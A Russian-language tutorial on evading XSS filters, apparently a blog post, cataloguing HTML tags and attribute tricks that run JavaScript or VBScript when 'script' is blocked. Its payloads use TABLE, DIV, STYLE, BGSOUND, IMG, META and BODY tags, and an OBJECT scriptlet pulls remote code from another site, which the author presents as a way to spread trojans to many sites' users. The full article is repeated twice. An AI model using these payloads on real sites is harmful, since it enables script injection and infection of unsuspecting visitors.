Обход фильтовки


Как Вы, наверное, уже поняли, XSS используется не только для вывода сообщений. В основном при XSS-атаке используется javascript. Большинство начинающих программистов очень боятся тега <script> и поэтому жёстко его фильтруют. 
Но кто сказал, что XSS можно провести только через тег <script>? Даже если он фильтруется, есть ещё целое море тегов, через которые можно провести XSS. 
Вот пример , который выводит сообщение “Я здесь был”: 

alert(‘Я здесь был’)


Сейчас мы будем рассматривать только этот вариант (вывод сообщения), просто для лёгкости понимания. Итак, начнём. 

Все теги, в которых проводятся XSS, делятся на 2 большие группы 
1. Теги, которые работают только с браузером Internet Explorer. (то есть “правильно” обрабатываются только им). 
2. Теги, которые нормально работают с остальными браузерами. 

Для начала рассмотрим теги, которые правильно обрабатываются IE (т.к. на данный момент он самый популярный). 

1. <TABLE>. Данный тег используется для создания таблиц. У этого тега есть свойство BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что за место фона можно ввести код на javascript следующим образом: 

<TABLE BACKGROUND=\"javascript:alert(\'Я здесь был\')\">


2. <DIV>. Данный тег служит контейнером для внутреннего текста. К тексту, который находится внутри тегов <div></div>, может быть применён определённый стиль (CSS). Вот пример использования данного тега для XSS атаки: 

<DIV STYLE=\"background-image: url(javascript:alert(\'Я здесь был\'))\">


Как видите, здесь мы используем вставку кода в параметр STYLE. Но есть и ещё один вариант использования данного тега. Не с помощью функции url(), а через функцию expression(): 

<DIV STYLE=\"width: expression(alert(\'Я здесь был \'));\">


В данном случае тоже используется параметр STYLE. 

3. <STYLE>. Данный тег задает правила оформления и форматирования элементов, находящихся внутри тегов <STYLE></STYLE>. Вот 2 варианта использования XSS: 

<STYLE>.XSS{background-image:url(\"javascript:alert(\'Я здесь был \')\");}</STYLE><A CLASS=XSS></A>


Здесь происходит следующее действие – сначала объявляется класс XSS(в нём расположен XSS- код), а затем он вызывается с помощью 

<A CLASS=XSS></A>


Второй вариант: 

<STYLE> type=\"text/css\">BODY{background:url(\"javascript:alert(‘Я здесь был’)\")} </STYLE>


В этом варианте наш XSS-код указывается как фоновое изображение странички. 
4. <BGSOUND>. Данный тег используется для указания фонового звука странички. Но за место звукового файла можно указать и код javascript 

<BGSOUND SRC=\"javascript:alert(‘Я здесь был’);\">


5. <IMG>. Этот тег используется для вставки изображений на страничку. 2 свойства этого тега обрабатывается только Internet Explorer’ом. Это свойства DYNSRC и LOWSRC. В их значении может быть указан код скрипта. 

<IMG DYNSRC=\"javascript:alert(‘Я здесь был’)\">

 

<IMG LOWSRC=\"javascript:alert(‘Я здесь был’)\">


Таким же образом можно указать код в свойстве SRC. Это свойство обрабатывается всеми браузерами. Про него будет рассказано ниже. 

6. <OBJECT>. Данный тег внедряет определённый объект в html-страницу. Лично я ни в одном учебнике не видел какого-либо материала о внедрение удалённых объектов, только тех, которые находятся уже в коде странички. Но вставка удалённого javascript кода возможна следующим способом: 

<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://www.site.com/test.html\">   </OBJECT>


Тут мы указали url странички на которой может находиться опасный код, к тому же этот тег может использоваться для заражения множества клиентов. Не будут же взломщики вставлять в своё сообщение код Трояна на javascript. Им проще будет поставить на него ссылку, и разместить код Трояна на другой странице. При загрузке страницы, код трояна будет загружаться с другого сайта. Это облегчает задачу когда через XSS пытаются заразить пользователей нескольких сайтов. 

Давайте теперь рассмотрим теги которые обрабатываются всеми браузерами. 
1. <META>. META-теги чаще всего используются для индексирования страницы поисковиками, но нам нужно не это. У META-тегов есть свойство refresh, где в свойстве CONTENT можно указать произвольный код: 

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(\'XSS\');\">


2. <BODY>. Всем известный тег. У него есть свойство onload, которое выполняется при загрузке. В это свойство можно вставить код на javascript следующим образом: 

<BODY onload=alert(\'XSS\')>


Код будет срабатывать при каждой загрузке страницы. Чаще всего люди думают что тег <BODY> может встречаться в документе только один раз. Это не верное мнение. Вот пример нормальной работы XSS: 

<html> 
<head>
</head>
<body>								     
<body onload=alert(\'XSS\')>
 </body>
</html>



Следовательно, запись <BODY onload=alert(\’XSS\’)> может быть вставлена в любом участке станицы. И ещё один вариант применения: 

<BODY BACKGROUND=\"javascript:alert(\'XSS\')\" >


3. <IMG>. О данном теге было рассказано выше, но сейчас я хочу описать некоторые способы обхода фильтрации, т.к. иногда этот тег разрешён, но фильтруется записи типа “javascript”. Для проведения XSS может использоваться свойство SRC: 

<IMG SRC=”javascript:alert(‘XSS’)”>


Но что делать, если имеется фильтрация ? Если фильтрация идёт по признаку “javascript:” , то можно попробовать обойти её следующим способом: 

<IMG SRC=”javascript:alert(\'XSS\')”>


Вот ещё несколько вариантов 

<IMG SRC=javascript:alert(\'XSS\')>


(вариант без двойных ковычек) 

<IMG SRC=javascript:alert(\"XSS\")>


(вариант вообще без каких-либо кавычек) 

<IMG SRC=\"   javascript:alert(\'XSS\');\">


(если фильтрация идёт по элементу ”javascript, данный вариант работает и без кавычек) 

Так же можно использовать vbscript

<IMG SRC=\'vbscript:msgbox(\"Я здесь был\")\'>


4. <STYLE>. О данном теге тоже говорилось ниже, но только для IE. 
Вот вариант который работает во всех браузерах: 

<STYLE TYPE=\"text/javascript\">alert(\'XSS\');</STYLE>


И на последок несколько причин неработоспособности XSS: 
1. XSS с тегами <IMG> не работают в браузере FireFox 
2. У клиента javascript может блокироваться брандмауэром или браузером(очень редко). 
3. У клиента может блокироваться VBScript. 
4. У клиента могу блокироваться внешние объекты (помешает загрузке скриптов с другого сайта).

Как Вы, наверное, уже поняли, XSS используется не только для вывода сообщений. В основном при XSS-атаке используется javascript. Большинство начинающих программистов очень боятся тега <script> и поэтому жёстко его фильтруют. 
Но кто сказал, что XSS можно провести только через тег <script>? Даже если он фильтруется, есть ещё целое море тегов, через которые можно провести XSS. 
Вот пример , который выводит сообщение “Я здесь был”: 

alert(‘Я здесь был’)


Сейчас мы будем рассматривать только этот вариант (вывод сообщения), просто для лёгкости понимания. Итак, начнём. 

Все теги, в которых проводятся XSS, делятся на 2 большие группы 
1. Теги, которые работают только с браузером Internet Explorer. (то есть “правильно” обрабатываются только им). 
2. Теги, которые нормально работают с остальными браузерами. 

Для начала рассмотрим теги, которые правильно обрабатываются IE (т.к. на данный момент он самый популярный). 

1. <TABLE>. Данный тег используется для создания таблиц. У этого тега есть свойство BACKGROUND, отвечающее за фон таблицы. Опасность этого тега в том, что за место фона можно ввести код на javascript следующим образом: 

<TABLE BACKGROUND=\"javascript:alert(\'Я здесь был\')\">


2. <DIV>. Данный тег служит контейнером для внутреннего текста. К тексту, который находится внутри тегов <div></div>, может быть применён определённый стиль (CSS). Вот пример использования данного тега для XSS атаки: 

<DIV STYLE=\"background-image: url(javascript:alert(\'Я здесь был\'))\">


Как видите, здесь мы используем вставку кода в параметр STYLE. Но есть и ещё один вариант использования данного тега. Не с помощью функции url(), а через функцию expression(): 

<DIV STYLE=\"width: expression(alert(\'Я здесь был \'));\">


В данном случае тоже используется параметр STYLE. 

3. <STYLE>. Данный тег задает правила оформления и форматирования элементов, находящихся внутри тегов <STYLE></STYLE>. Вот 2 варианта использования XSS: 

<STYLE>.XSS{background-image:url(\"javascript:alert(\'Я здесь был \')\");}</STYLE><A CLASS=XSS></A>


Здесь происходит следующее действие – сначала объявляется класс XSS(в нём расположен XSS- код), а затем он вызывается с помощью 

<A CLASS=XSS></A>


Второй вариант: 

<STYLE> type=\"text/css\">BODY{background:url(\"javascript:alert(‘Я здесь был’)\")} </STYLE>


В этом варианте наш XSS-код указывается как фоновое изображение странички. 
4. <BGSOUND>. Данный тег используется для указания фонового звука странички. Но за место звукового файла можно указать и код javascript 

<BGSOUND SRC=\"javascript:alert(‘Я здесь был’);\">


5. <IMG>. Этот тег используется для вставки изображений на страничку. 2 свойства этого тега обрабатывается только Internet Explorer’ом. Это свойства DYNSRC и LOWSRC. В их значении может быть указан код скрипта. 

<IMG DYNSRC=\"javascript:alert(‘Я здесь был’)\">

 

<IMG LOWSRC=\"javascript:alert(‘Я здесь был’)\">


Таким же образом можно указать код в свойстве SRC. Это свойство обрабатывается всеми браузерами. Про него будет рассказано ниже. 

6. <OBJECT>. Данный тег внедряет определённый объект в html-страницу. Лично я ни в одном учебнике не видел какого-либо материала о внедрение удалённых объектов, только тех, которые находятся уже в коде странички. Но вставка удалённого javascript кода возможна следующим способом: 

<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://www.site.com/test.html\">   </OBJECT>


Тут мы указали url странички на которой может находиться опасный код, к тому же этот тег может использоваться для заражения множества клиентов. Не будут же взломщики вставлять в своё сообщение код Трояна на javascript. Им проще будет поставить на него ссылку, и разместить код Трояна на другой странице. При загрузке страницы, код трояна будет загружаться с другого сайта. Это облегчает задачу когда через XSS пытаются заразить пользователей нескольких сайтов. 

Давайте теперь рассмотрим теги которые обрабатываются всеми браузерами. 
1. <META>. META-теги чаще всего используются для индексирования страницы поисковиками, но нам нужно не это. У META-тегов есть свойство refresh, где в свойстве CONTENT можно указать произвольный код: 

<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert(\'XSS\');\">


2. <BODY>. Всем известный тег. У него есть свойство onload, которое выполняется при загрузке. В это свойство можно вставить код на javascript следующим образом: 

<BODY onload=alert(\'XSS\')>


Код будет срабатывать при каждой загрузке страницы. Чаще всего люди думают что тег <BODY> может встречаться в документе только один раз. Это не верное мнение. Вот пример нормальной работы XSS: 

<html> 
<head>
</head>
<body>								     
<body onload=alert(\'XSS\')>
 </body>
</html>



Следовательно, запись <BODY onload=alert(\’XSS\’)> может быть вставлена в любом участке станицы. И ещё один вариант применения: 

<BODY BACKGROUND=\"javascript:alert(\'XSS\')\" >


3. <IMG>. О данном теге было рассказано выше, но сейчас я хочу описать некоторые способы обхода фильтрации, т.к. иногда этот тег разрешён, но фильтруется записи типа “javascript”. Для проведения XSS может использоваться свойство SRC: 

<IMG SRC=”javascript:alert(‘XSS’)”>


Но что делать, если имеется фильтрация ? Если фильтрация идёт по признаку “javascript:” , то можно попробовать обойти её следующим способом: 

<IMG SRC=”javascript:alert(\'XSS\')”>


Вот ещё несколько вариантов 

<IMG SRC=javascript:alert(\'XSS\')>


(вариант без двойных ковычек) 

<IMG SRC=javascript:alert(\"XSS\")>


(вариант вообще без каких-либо кавычек) 

<IMG SRC=\"   javascript:alert(\'XSS\');\">


(если фильтрация идёт по элементу ”javascript, данный вариант работает и без кавычек) 

Так же можно использовать vbscript

<IMG SRC=\'vbscript:msgbox(\"Я здесь был\")\'>


4. <STYLE>. О данном теге тоже говорилось ниже, но только для IE. 
Вот вариант который работает во всех браузерах: 

<STYLE TYPE=\"text/javascript\">alert(\'XSS\');</STYLE>


И на последок несколько причин неработоспособности XSS: 
1. XSS с тегами <IMG> не работают в браузере FireFox 
2. У клиента javascript может блокироваться брандмауэром или браузером(очень редко). 
3. У клиента может блокироваться VBScript. 
4. У клиента могу блокироваться внешние объекты (помешает загрузке скриптов с другого сайта).

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *